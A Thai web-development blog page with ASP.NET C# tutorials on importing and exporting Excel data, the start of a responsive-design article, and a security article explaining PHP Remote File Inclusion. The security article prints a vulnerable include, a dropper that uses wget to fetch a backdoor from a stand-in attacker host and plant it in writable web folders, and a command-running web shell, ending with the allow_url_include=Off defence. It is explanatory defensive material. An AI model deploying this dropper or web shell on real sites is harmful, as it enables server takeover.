     string fileName = Path.Combine(Server.MapPath("~/ImportDocument"), Guid.NewGuid().ToString() + ".xls");
    //เรียกใช้เมธอดในการ Export ข้อมูลแบบ Multiple sheet
    ExportToMultipleXLSheets(fileName);
    
    }

    หลักการทำงานคร่าวๆในการ Export ข้อมูลใน 2 ลักษณะจะมีหลักการพื้นฐานคล้ายกัน ซึ่งจะสรุปได้ดังนี้

    • ดึงข้อมูลจากฐานข้อมูลมาเก็บไว้ใน Datadatable หรือ Dataset
    • กำหนดชื่อไฟล์ที่จะใช้ในการเชื่อมต่อกับ OleDb
    • เชื่อมต่อกับ OleDb โดยการกำหนดค่าต่างๆ เพื่อใช้ในการทำงานกับไฟล์ Excel นั้นๆ
    • เตรียมกำหนดคำสั่ง sql command ในการสร้างโครงสร้างตาราง(create table) และ เพิ่มข้อมูล (insert) ในตารางที่สร้างไว้ หากเป็นกรณีที่ต้องการสร้างแบบ Multiple sheet
      ก็จะทำการเตรียมชุดคำสั่งไว้ และนำไปวน run คำสั่งนั้นๆตามจำนวนรอบที่มีการสร้าง WorkSheet ใหม่นั่นเอง
    • สั่ง run คำสั่งดังกล่าว หากจำนวนแถวของข้อมูลเกินกว่าที่กำหนดต่อ 1 WorkSheet (ซึ่งในกรณีสมมติให้เป็น 3 แถว) จะทำการสร้าง WorkSheet ใหม่
    • อ่านค่าที่ได้จากไฟล์ที่เชื่อมต่อกับ OleDb และผ่านกระบวนการ Export ข้อมูล  มาเขียนเป็นไฟล์ Excel เพื่อให้ผู้ใช้สามารถบันทึกข้อมูลในรูปแบบไฟล์ที่ Export ได้
    • หากเป็นการ Export ข้อมูลแบบ Multiple sheet จำนวนของ WorkSheet จะขึ้นอยู่กับข้อมูลที่ดึงมาและจำนวนที่กำหนดไว้ต่อ 1 WorkSheet นั่นเอง
    หมายเหตุ : Namespace ที่ต้องอ้างอิงเพิ่มเติมในการใช้งานโค้ดที่กล่าวไว้ข้างต้น มีดังนี้
                –  System.IO
                –  System.Data.OleDb
                –  System.Data
                –  System.Text

                บทความนี้ถือเป็นเพียงการแนะนำวิธีเบื้องต้นในการ Export ข้อมูลไฟล์ในรูปแบบ Excel เท่านั้น ซึ่งผู้พัฒนาสามารถนำความรู้หรือข้อมูลที่ได้จากบทความนี้ไปประยุกต์ ดัดแปลงหรือเพิ่มลูกเล่นให้กับงานที่ท่านกำลังพัฒนาอยู่ได้ เพื่อเพิ่มความสามารถในกระบวนการนำ-เข้าส่งออกดังกล่าว นอกจากนี้ผู้เขียนหวังเป็นอย่างยิ่งว่าบทความนี้อาจเป็นอีกหนึ่งทางเลือกสำหรับผู้พัฒนามือใหม่หรือผู้ที่กำลังค้นหาวิธีการนี้อยู่ สามารถนำไปพัฒนาต่อได้โดยง่าย หากผิดพลาดประการใด ผู้เขียนขออภัยไว้ ณ ที่นี้ค่ะ

    แหล่งข้อมูลอ้างอิง :
    http://www.codeproject.com/Articles/33271/Import-and-Export-to-Multiple-Worksheets
    http://dotnetawesome.blogspot.com/2013/11/how-to-import-export-database-data-from_18.html

  • เรียนรู้วิธีการ Import ข้อมูลในรูปแบบไฟล์ Excel ในแบบ Single และ Multiple sheet ด้วย ASP.NET (C#)

                “ข้อมูล” นับว่าเป็นส่วนหนึ่งที่มีความสำคัญในการทำงานหรือการแสดงผลข้อมูลของระบบหรือเว็บไซต์ในปัจจุบัน ซึ่งอาจมีที่มาจากการจัดการเองผ่านระบบจัดการข้อมูล (Back office) หรือมีการนำเข้าจากแหล่งอื่นเนื่องจากข้อมูลที่ต้องการบันทึกเข้าสู่ระบบดังกล่าวอาจมีจำนวนมาก ทำให้การป้อนข้อมูลผ่านระบบทีละรายการเป็นไปอย่างลำบากและเกิดความผิดพลาดได้โดยง่าย เช่น ข้อมูลการเงิน ข้อมูลการสั่งซื้อสินค้า เป็นต้น อีกทั้งยังพบว่ามีบางกรณีที่ผู้ใช้มีความต้องการดึงข้อมูลจากฐานข้อมูลและส่งออกมาในรูปแบบไฟล์อื่นๆเพื่อนำไปประมวลผลต่อไปได้โดยง่าย ซึ่งโดยทั่วไปผู้ใช้มักเก็บข้อมูลเหล่านี้ในรูปแบบไฟล์ต่างๆ เช่น ไฟล์ Excel หรือ ไฟล์ Access ดังนั้น นักพัฒนาของระบบที่มีความต้องการจัดการข้อมูลในลักษณะนี้จึงจำเป็นที่จะต้องมีความรู้เกี่ยวกับกระบวนการดังกล่าวเพื่อให้ได้ข้อมูลตามรูปแบบที่ผู้ใช้ต้องการ ซึ่งในบทความนี้ ผู้เขียนขอเสนอวิธีการ Import ข้อมูลให้ออกมาในรูปแบบไฟล์ Excel พัฒนาโดยใช้ ASP.NET ด้วย C# เนื่องจากเป็นกรณีความต้องการที่พบบ่อยและสามารถนำข้อมูลจากไฟล์ไปใช้งานต่อได้โดยง่าย ซึ่งจะพูดทั้งในลักษณะแบบ Single sheet และแบบ Multiple sheet เพื่อที่จะช่วยให้ผู้พัฒนาที่มีความสนใจสามารถเห็นภาพการทำงานโดยรวม และสามารถนำไปประยุกต์ใช้กับระบบที่ท่านกำลังพัฒนาอยู่ได้

    กรณีนำเข้าข้อมูล(Import) ซึ่งในบทความนี้จะแบ่งเป็น 2 ลักษณะ ดังนี้

    • การนำเข้าข้อมูลแบบ Single sheet ถือเป็นการนำเข้าในแบบทั่วไป ไม่ซับซ้อนมากนัก
    ฝั่ง Client
    <%@ Page Language="C#" AutoEventWireup="true" 
    CodeFile="Excel.aspx.cs" Inherits="ExcelTest" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head runat="server">
    <title></title>
    </head>
    <body>
    <form id="form1" runat="server">
    <asp:FileUpload ID="FileUpload1" runat="server" />
    <div>
    <asp:GridView ID="GridView" runat="server">
    </asp:GridView>
    <asp:Button ID="btnImport" runat="server" 
    onclick="btnImport_Click" Text="Import" />
    </div>
    </form>
    </body>
    </html>
    ฝั่งเซิร์ฟเวอร์
    protected void btnImport_Click(object sender, EventArgs e)
    {
    try
    {
    ////เป็นการกำหนดชื่อของไฟล์ที่ต้องการจะบันทึกลงเซิร์ฟเวอร์ ซึ่งมีการระบุพาธรวมทั้งนามสกุลของไฟล์ตามไฟล์ที่รับเข้ามา
    string fileName =  Path.Combine(Server.MapPath("~/ImportDocument"), Guid.NewGuid().ToString() + Path.GetExtension(FileUpload1.PostedFile.FileName));
    
    ////บันทึกไฟล์ดังกล่าวลงเซิร์ฟเวอร์
    FileUpload1.PostedFile.SaveAs(fileName);
    
    string conString = "";
    
    string ext = Path.GetExtension(FileUpload1.PostedFile.FileName);
    
    ////เป็นส่วนของเงื่อนไขในการตั้งค่า ConnectionString ในการอ่านไฟล์ Excel ด้วย OleDb ซึ่งจะแยกด้วยนามสกุลของไฟล์ Excel ที่รับมา
    if (Path.GetExtension(ext) == ".xls")
    {
    conString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" +
     fileName + ";Extended Properties=\"Excel 8.0;HDR=Yes;IMEX=2\"";
    }
    else if (Path.GetExtension(ext) == ".xlsx")
    {
    conString = @"Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" + 
    fileName + ";Extended Properties='Excel 12.0;HDR=YES;IMEX=1;';";
    }
    
    ////เป็นการเปิดการเชื่อมต่อผ่าน OleDb
    OleDbConnection con = new OleDbConnection(conString);
    
    if (con.State == System.Data.ConnectionState.Closed)
    {
    con.Open();
    }
    
    
    DataTable dtExcelSchema;
    
    dtExcelSchema = con.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,
     null);
    ////ดึงค่าชื่อของ Worksheet ที่อ่านมาจากไฟล์ Excel ที่รับเข้ามา
    string SheetName = dtExcelSchema.Rows[0]["TABLE_NAME"].ToString();
    
    ////เขียนคำสั่งในการดึงข้อมูลจาก Worksheet ดังกล่าว ซึ่งลักษณะการทำงานจะคล้ายกับการเขียนคำสั่ง sql command ในการดึงข้อมูลตารางโดยทั่วไป และเปรียบ Worksheet นั้นเป็นตาราง
    string query = "Select *  from [" + SheetName + "]";
    
    OleDbCommand cmd = new OleDbCommand(query, con);
    OleDbDataAdapter da = new OleDbDataAdapter(cmd);
    DataSet ds = new DataSet();
    da.Fill(ds);
    da.Dispose();
    con.Close();
    con.Dispose();
    ////เป็นการสมมติโครงการสร้างตาราง หากเป็นการทำงานจริงส่วนนี้จะหมายถึงตารางในฐานข้อมูลของแต่ละระบบ
    DataTable table = new DataTable();
    table.Columns.Add("EmployeeID", typeof(string));
    table.Columns.Add("EmployeeName", typeof(string));
    ////เป็นการวนค่าเพื่อบันทึกลงฐานข้อมูล แต่ในกรณีนี้จะเป็นเพียงแค่การเพิ่มแถวข้อมูลลงใน datatable ที่ชื่อ table เท่านั้น
    foreach (DataRow dr in ds.Tables[0].Rows)
    {
    //// dr["EmployeeID"].ToString() ชื่อของค่าฟิลด์ต้องตรงกับชื่อของคอลัมน์ใน Worksheet ที่อ่านมาจากไฟล์ Excel
    table.Rows.Add(dr["EmployeeID"].ToString(), dr["EmployeeName"].ToString());
    }
    ////นำค่าที่ได้แสดงในกริดวิว
    GridView.DataSource = table;
    GridView.DataBind();
    
    }
    catch (Exception)
    {
    throw;
    }
    }
    • การนำเข้าข้อมูลแบบ Multiple Sheet จะใช้ในกรณีที่มีจำนวนของ Worksheet ไม่จำกัด ขึ้นอยู่กับข้อมูล ซึ่งจะมีความซับซ้อนกว่าแบบแรก โดยหลักการทำงานโดยสรุปจะเป็นในลักษณะของการดึงข้อมูล Worksheet ที่มีทั้งหมดในไฟล์ Excel ที่อ่านได้ และนำไปเพื่อวนอ่านค่าข้อมูลในแต่ละชีทและนำค่าเหล่านั้นลงฐานข้อมูล ซึ่งจะอธิบายเป็นส่วนๆดังนี้
    1. การดึงข้อมูลชื่อ Worksheet ที่มีทั้งหมดในไฟล์ที่รับเข้ามา
     public static string[] getExcelSheets(string mFile)
    {
    try
    {
    string strXlsConnString;
    strXlsConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + mFile + ";Extended Properties='Excel 8.0;HDR=Yes;IMEX=1'";
    OleDbConnection xlsConn = new OleDbConnection(strXlsConnString);
    xlsConn.Open();
    
    ////เป็นการดึงค่าชื่อ Worksheet ของไฟล์ excel ที่กำลังอ่าน โดยตารางหรือชีทใน Excel จะมีสัญลักษณ์ $ ต่อท้ายชื่อเสมอ
    DataTable xlTable = new DataTable();
    xlTable = xlsConn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, null);
    System.String strExcelSheetNames = "";
    string sheetName;
    for (int lngStart = 0; lngStart < xlTable.Rows.Count; 
    lngStart++)
    {
    ////เป็นการเอา '' ออกจากชื่อตาราง/worksheet ที่ดึงมาได้
    sheetName = xlTable.Rows[lngStart][2].ToString().Replace("'", "");
    
    ////เป็นการคัดกรองเฉพาะตัวที่เป็นตารางหรือworksheet เนื่องจากจบด้วย $
    if (sheetName.EndsWith("$"))
    {
    ////เป็นการเชื่อมตัวสุดท้ายด้วย ~ เพื่อใช้ในการตัดคำในขั้นตอนถัดไป
    strExcelSheetNames += sheetName.Substring(0, sheetName.Length - 1) + "~";
    }
    }
    ////เป็นการตัด  ~ ตัวสุดท้ายออกจากการเชื่อมคำ
    if (strExcelSheetNames.EndsWith("~"))
    {
    strExcelSheetNames = strExcelSheetNames.Substring(0,
    strExcelSheetNames.Length - 1);
    }
    xlsConn.Close();
    xlsConn.Dispose();
    char[] chrDelimter = { '~' };
    ////เป็นการตัดคำด้วย ~ และส่งค่าตัวแปร array ของ string ที่เป็นชื่อ worksheet ทั้งหมดที่อ่านได้กลับไป
    return strExcelSheetNames.Split(chrDelimter);
    
    }
    catch (Exception exp)
    {
    throw new Exception("Error while listing the excel" +
    " sheets from upload file " + exp.Message, exp);
    }
    }
    2. การอ่านค่าข้อมูลใน Worksheet ที่มีทั้งหมดในไฟล์ที่รับเข้ามา โดยมีการส่งค่าของชื่อ Worksheet และชื่อของไฟล์ที่อ่าน รวมทั้งฟิลด์เพิ่มเติมที่ต้องการระบุในการอ่านค่า ซึ่งจะทำงานในลักษณะเดียวกับการ Import แบบ Single sheet นั่นเอง
    public static DataSet getXLData(string xlSheetName,
    string xlFileName, string AdditionalFields)
    
    {
    try
    {
    string connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" 
    +  xlFileName + ";Extended Properties='Excel 8.0;HDR=Yes;IMEX=1'";
    OleDbConnection xlConn = new OleDbConnection(connstr);
    DataSet xlTDS = new DataSet("xlDataSet");
    xlConn.Open();
    OleDbDataAdapter xlDA = new OleDbDataAdapter("Select" + AdditionalFields +  " * from [" + xlSheetName + "$] ", xlConn);
    xlDA.Fill(xlTDS);
    xlConn.Close();
    xlConn.Dispose();
    
    ////เป็นการลบแถวที่มีค่าว่างออกจากการอ่านข้อมูลในไฟล์
    RemoveEmptyRows(xlTDS.Tables[0], (AdditionalFields.Length -
    
    AdditionalFields.ToLower().Replace(" as ", "").Length) / 4);
    
    return xlTDS;
    }
    catch (Exception e)
    {
    throw new Exception("Error while reading data from excel sheet", e);
    }
    }
    
    public static void RemoveEmptyRows(DataTable dtbl,
    
    System.Int32 intNumberOfFieldsToIgnore) ////เป็นการตรวจสอบค่าว่างในแต่ละแถว
    System.String strFilter = "";
    System.Int32 intAvgColsToCheck =
    Convert.ToInt32((dtbl.Columns.Count - intNumberOfFieldsToIgnore) * 0.75);
    if (intAvgColsToCheck < 3)
    {
    intAvgColsToCheck = dtbl.Columns.Count;
    }
    System.Int32 lngEnd = dtbl.Columns.Count;
    lngEnd = lngEnd - intAvgColsToCheck;
    
    ////เป็นการเชื่อมเงื่อนไขในการดึงข้อมูลว่าให้ฟิลด์ใดบ้างที่ห้ามเป็นค่าว่าง ในที่นี้จะทำการวนดูคอลัมน์ที่มีใน worksheet นั้นๆ และเชื่อมเป็นเงื่อนไข
    for (int lngStartColumn = dtbl.Columns.Count;
    lngStartColumn > lngEnd; lngStartColumn--)
    {
    strFilter += "[" + dtbl.Columns[lngStartColumn - 1].ColumnName +
    "] IS NULL AND ";
    
    }
    
    ////ทำในกรณีที่มีอย่างน้อย 1 คอลัมน์ถูกเพิ่มเป็นเงื่อนไขในการตรวจสอบค่าว่าง และลบคำว่า “AND” สุดท้ายออก เพื่อนำไปใช้งานในการกรองข้อมูลตามเงื่อนไขนี้
    if (strFilter.Length > 1)
    {
    strFilter = strFilter.Remove(strFilter.Length - 4);
    
    }
    DataRow[] drows = dtbl.Select(strFilter);
    ////ลบแถวเมื่อพบว่าค่าของฟิลด์นั้นๆ เป็นค่าว่าง
    foreach (DataRow drow in drows)
    {
    dtbl.Rows.Remove(drow);
    }
    }
    3. เขียนการทำงานเมื่อกดปุ่ม “Import”
    protected void btnImport_Click(object sender, EventArgs e)
    
    {
    ////เรียกใช้เมธอดในการบันทึกไฟล์ Excel ที่รับเข้ามาตามพาธของโฟลเดอร์ที่กำหนด
    string fileName = uploadXLFile(FileUpload, Server.MapPath("~/ImportDocument"));
    
    ////เรียกใช้เมธอดในการดึงค่าชื่อ WorkSheet ที่มีทั้งหมดในไฟล์ โดยมีตัวแปร array ชนิด string มารับข้อมูลดังกล่าว
    string[] listExcelSheet = getExcelSheets(fileName);
    
    DataSet DSTotal = new DataSet();
    ////วนลูปข้อมูล WorkSheet ตามชื่อในตัวแปร array และส่งค่าให้กับเมธอดที่ใช้ในการอ่านค่าข้อมูลในแต่ละ WorkSheet นั้น
    for (int i = 0; i < listExcelSheet.Count(); i++)
    {
    DataSet DS = getXLData(listExcelSheet[i], fileName, "");
    DSTotal.Merge(DS);
    
    }
    
    ////แสดงผลตัวอย่างข้อมูลที่อ่านได้ในกริดวิว ซึ่งในการใช้งานจริงในส่วนนี้ผู้พัฒนาจะต้องนำข้อมูลที่อ่านได้เหล่านี้วนบันทึกลงฐานข้อมูลเช่นเดียวกับที่กล่าวไว้ในการ Import ข้อมูลแบบ Single sheet นั่นเอง
    if (DSTotal.Tables[0].Rows.Count > 0)
    {
    GvData.DataSource = DSTotal.Tables[0];
    GvData.DataBind();
    
    }
    }
    }
    
     public static string uploadXLFile(FileUpload fileUpload, string mPath)
     {
     mPath = Path.Combine(mPath ,Guid.NewGuid().ToString() + Path.GetExtension(fileUpload.PostedFile.FileName));
     fileUpload.SaveAs(mPath);
     return mPath;
     }
    
    

     

    จะเห็นว่าจริงๆแล้วการทำงานใน 2 ลักษณะจะมีหลักการพื้นฐานคล้ายกัน ซึ่งจะสรุปได้ดังนี้

    • บันทึกไฟล์ Excel บนเซิร์ฟเวอร์ตามพาธที่กำหนดเพื่อให้สามารถเรียกอ่านค่าได้
    • เชื่อมต่อกับ OleDb โดยการกำหนดค่าต่างๆ เพื่อใช้ในการอ่านค่าจากไฟล์ Excel นั้นๆ
    • กำหนดคำสั่ง sql command ในการดึงข้อมูลจาก WorkSheet ซึ่งต้องมีการระบุชื่อของ WorkSheet นั้นๆ
    • สั่ง run คำสั่งดังกล่าวและนำค่าที่ได้ไปประมวลผลต่อไป
    • หากเป็นกรณีแบบ Multiple sheet เราจะไม่สามารถทราบจำนวนและชื่อของ WorkSheet ตายตัว จึงต้องเพิ่มการทำงานที่ทำการวนค่าเพื่อดึงข้อมูลชื่อ WorkSheet และทำตามกระบวนการต่อไป
    หมายเหตุ : Namespace ที่ต้องอ้างอิงเพิ่มเติมในการใช้งานโค้ดที่กล่าวไว้ข้างต้น มีดังนี้
                –  System.IO
                –  System.Data.OleDb
                –  System.Data
                –  System.Text

                สำหรับในบทความนี้ผู้เขียนจะขอเสนอวิธีการ Import ข้อมูลด้วยไฟล์ Excel ไว้เพียงเท่านี้ก่อน หากมีผู้รู้ท่านใดมีข้อเสนอแนะที่ต้องการแลกเปลี่ยนความรู้ร่วมกัน สามารถชี้แจงเพิ่มเติมได้เป็นกรณีศึกษาเพื่อการเรียนรู้ หากผิดพลาดประการใด ผู้เขียนขออภัยไว้ ณ ที่นี้ค่ะ และสำหรับท่านผู้พัฒนาที่มีความสนใจเกี่ยวกับการ Export ข้อมูลไฟล์ Excel ด้วย ASP.NET(C#) สามารถติดตามต่อได้ใน Part II นะคะ

    แหล่งข้อมูลอ้างอิง :
     http://www.codeproject.com/Articles/33271/Import-and-Export-to-Multiple-Worksheets
    http://dotnetawesome.blogspot.com/2013/11/how-to-import-export-database-data-from_18.html

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • แนวทางการพัฒนาเว็บแบบ Responsive Web Design

                เนื่องด้วยปัจจุบันความก้าวหน้าทางเทคโนโลยีและการให้บริการอินเตอร์เน็ตความเร็วสูงมีการพัฒนาอย่างต่อเนื่อง จึงส่งผลให้การเข้าถึงข้อมูลข่าวสารเป็นไปได้อย่างรวดเร็วและทั่วถึง ทำให้เหล่าผู้ผลิตรวมถึงนักพัฒนา พร้อมใจกันพัฒนาซอร์ฟแวร์และอุปกรณ์ต่างๆ ให้สามารถใช้งานอินเตอร์เน็ตได้ ไม่ว่าจะเป็นโทรศัพท์ Tablet หรือแม้แต่โทรทัศน์เองก็สามารถใช้งานอินเตอร์เน็ตได้เช่นกัน นั่นหมายความว่าปัจจุบันมีอุปกรณ์มากมายที่สามารถใช้งานอินเตอร์เน็ต ซึ่งมีคุณสมบัติที่แตกต่างกันออกไป เช่น ความกว้าง ความสูง ความละเอียดหน้าจอ และอื่นๆ อีกมากมาย

               เมื่อพูดถึงการออกแบบเว็บไซต์เพื่อให้สามารถรองรับการใช้งานกับทุกอุปกรณ์ คนส่วนใหญ่มักมองว่าจำเป็นต้องใช้ต้นทุนในการผลิตที่สูงขึ้น เพื่อใช้ในการออกแบบเว็บไซต์แต่ละเวอร์ชั่นให้รองรับกับการใช้ของอุปกรณ์ที่ มีความลหากหลายได้ ซึ่งความจริงแล้วนั่นอาจเป็นแนวคิดที่ไม่ถูกต้องนัก เพราะ Responsive Web Design คือเทคโนโลยีการออกแบบเว็บไซต์ที่ช่วยให้คุณสามารถสร้างเว็บไซต์ที่รองรับทุกขนาดหน้าจอรวมถึงทุกอุปกรณ์สื่อสารด้วยต้นทุนที่ต่ำกว่า เวลาที่สั้นกว่า และประสิทธิภาพที่สูงกว่าการผลิตเว็บไซต์แยกหลายเวอร์ชั่น

    โดยในบทความนี้จะพูดถึงแนวคิดและแนวทางการพัฒนา Responsive Web Design แบบเบื้องต้นที่ผู้เขียนได้อ่านและรวบรวมมาให้ผู้ที่สนใจนำไปใช้ประโยชน์ได้ไม่มากก็น้อย

    Flexible Images
    ปัญหาที่เกิดขึ้นบ่อยในการออกแบบเว็บไซต์แบบ Responsive Web คือ ปัญหาเกี่ยวกับการแสดงผลรูปภาพบนอุปกรณ์ที่มีขนาดแตกต่างกัน ซึ่งปัจุบันมีเทคนิคมากมายที่ช่วยในการจัดการปัญหาดังกล่าว โดยเทคนิคที่ได้รับความนิยมมากคือนำ CSS มาช่วยในการออกแบบการแสดงผลดังกล่าวเนื่องจากสามารถทำได้ง่าย และไม่ซับซ้อน ดังนี้

    img { max-width: 100%; } 

    จากตัวอย่างข้างต้น เป็นการกำหนดขนาดของรูปภาพให้มีความกว้าง 100% แทนการกำหนดขนาดของรูปภาพแบบตายตัว (width: 100px) ทำให้การแสดงผลของรูปภาพจะขึ้นอยู่กับขนาดของหน้าจออุปกรณ์หรือความกว้างของบราวเซอร์แทน

    ข้อเสีย

    –         บราวเซอร์ Internet Explorer ยังไม่รองรับ properties ที่ชื่อว่า max-width  แต่สามารถแก้ไขโดยการใช้ properties ที่ชื่อว่า width แทน

    –          ในบราวเซอร์เวอร์ชั่นเก่าๆ ยังไม่รองรับเทคนิคการทำงานดังกล่าวเช่นกัน ซึ่งสามารถแก้ไขโดยการใช้ JavaScript ช่วยในการทำงานแทนได้

    แม้วิธีข้างต้นจะเป็นการแก้ปัญหาการยืดหยุ่นของภาพได้ดีและรวดเร็ว แต่สิ่งที่ไม่ควรมองข้ามคือ ความละเอียดของภาพและเวลาในการโหลดรูปภาพ เนื่องจากในปัจจุบัน นิยมใช้งานเว็บไซต์ผ่านทาง Smartphone หรือ Tablet มากขึ้น การโหลดภาพที่มีขนาดใหญ่และความละเอียดสูงจะทำให้เสียเวลาและใช้พื้นที่โดยไม่จำเป็น
    Filament Group’s Responsive Images
    เป็นเทคนิค ที่ไม่เน้นการปรับขนาดของรูปภาพ แต่ใช้วิธีเลือกรูปภาพที่มีขนาดเหมาะสมกับอุปกรณ์มาแสดงแทน ซึ่งช่วยแก้ปัญหาการโหลดรูปภาพที่มีขนาดใหญ่มาแสดงผลในอุปกรณ์ที่มีขนาดเล็ก และลดการใช้พื้นที่โดยไม่จำเป็นได้

    โดยการทำงานด้วยเทคนิคดังกล่าวจำเป็นที่จะต้องใช้ไฟล์บางตัว ซึ่งสามารถโหลดได้จาก Github

    ซึ่งมีขั้นตอนดังนี้

    1) โหลดไฟล์ที่จำเป็นตอนใช้งาน ซึ่งได้แก่  JavaScript, ไฟล์ .htaccess และไฟล์รูปภาพทั้งขนาดเล็กและขนาดใหญ่

    2) ทำการกำหนดคุณสมบติของรูปภาพให้อ้างอิงไปยังไฟล์รูปภาพนั้นๆทั้งขนาดเล็กและขนาดใหญ่ โดยวิธีการอ้างอิงของรูปภาพขนาดเล็กจะต้องอ้างอิงผ่าน attribute  SRC และรูปภาพขนาดใหญ่จะอ้างอิงผ่าน attribute data-fullsrc

    <img src="smallRes.jpg" data-fullsrc="largeRes.jpg">

    ซึ่งแท็ก data-fullsrc เป็นแท็กที่เพิ่มเข้ามาใน HTML5 เพื่อใช้ในการโหลดรูปภาพกรณีที่หน้าจอมีความกว้างเกิน 480 pixels จากตัวอย่าง กรณีที่เปิดบนอุปกรณ์ที่มีขนาดความกว้างไม่เกิน 480 จะทำการโหลดภาพ smallRes.jpg ขึ้นมาแสดง แต่ในกรณีที่หน้าจอกว้างเกิน 480 จะทำการโหลดภาพ largeRes.jpg ขึ้นมาแสดง ตัวอย่าง
    Stop iPhone Simulator Image Resizing

    ปัจจุบันอุปกรณ์ของค่าย Apple ไม่ว่าจะเป็น IPhone(เวอร์ชั่น 4 ขึ้นไป) หรือ IPad(เวอร์ชั่น 2 ขึ้นไป) ได้นำเทคโนโลยีที่ช่วยในการแสดงผลของหน้าจอได้ดีขึ้นซึ่งมีชื่อเรียกว่า Retina Display ทำให้การแสดงผลของ Responsive Web บนอุปกรณ์ดังกล่าวไม่ได้ขนาดที่เหมาะสมกับที่ได้ทำการออกแบบไว้ ซึ่งมีเทคนิคในการแก้ไขปัญหาดังกล่าวโดยการนำค่า pixels มาเป็นตัวช่วยในการแก้ปัญหา ซึ่งจะขอธิบายในส่วนของเรื่อง pixels ให้ผู้อ่านได้เข้าใจก่อน

    pixels คือหน่วยที่ใช้วัดค่าความละเอียดของรูปภาพหรือหน้าจออุปกรณ์  pixels แบ่งได้  3 แบบด้วยกัน คือ Physical Pixels, CSS Pixels และ Device Pixels

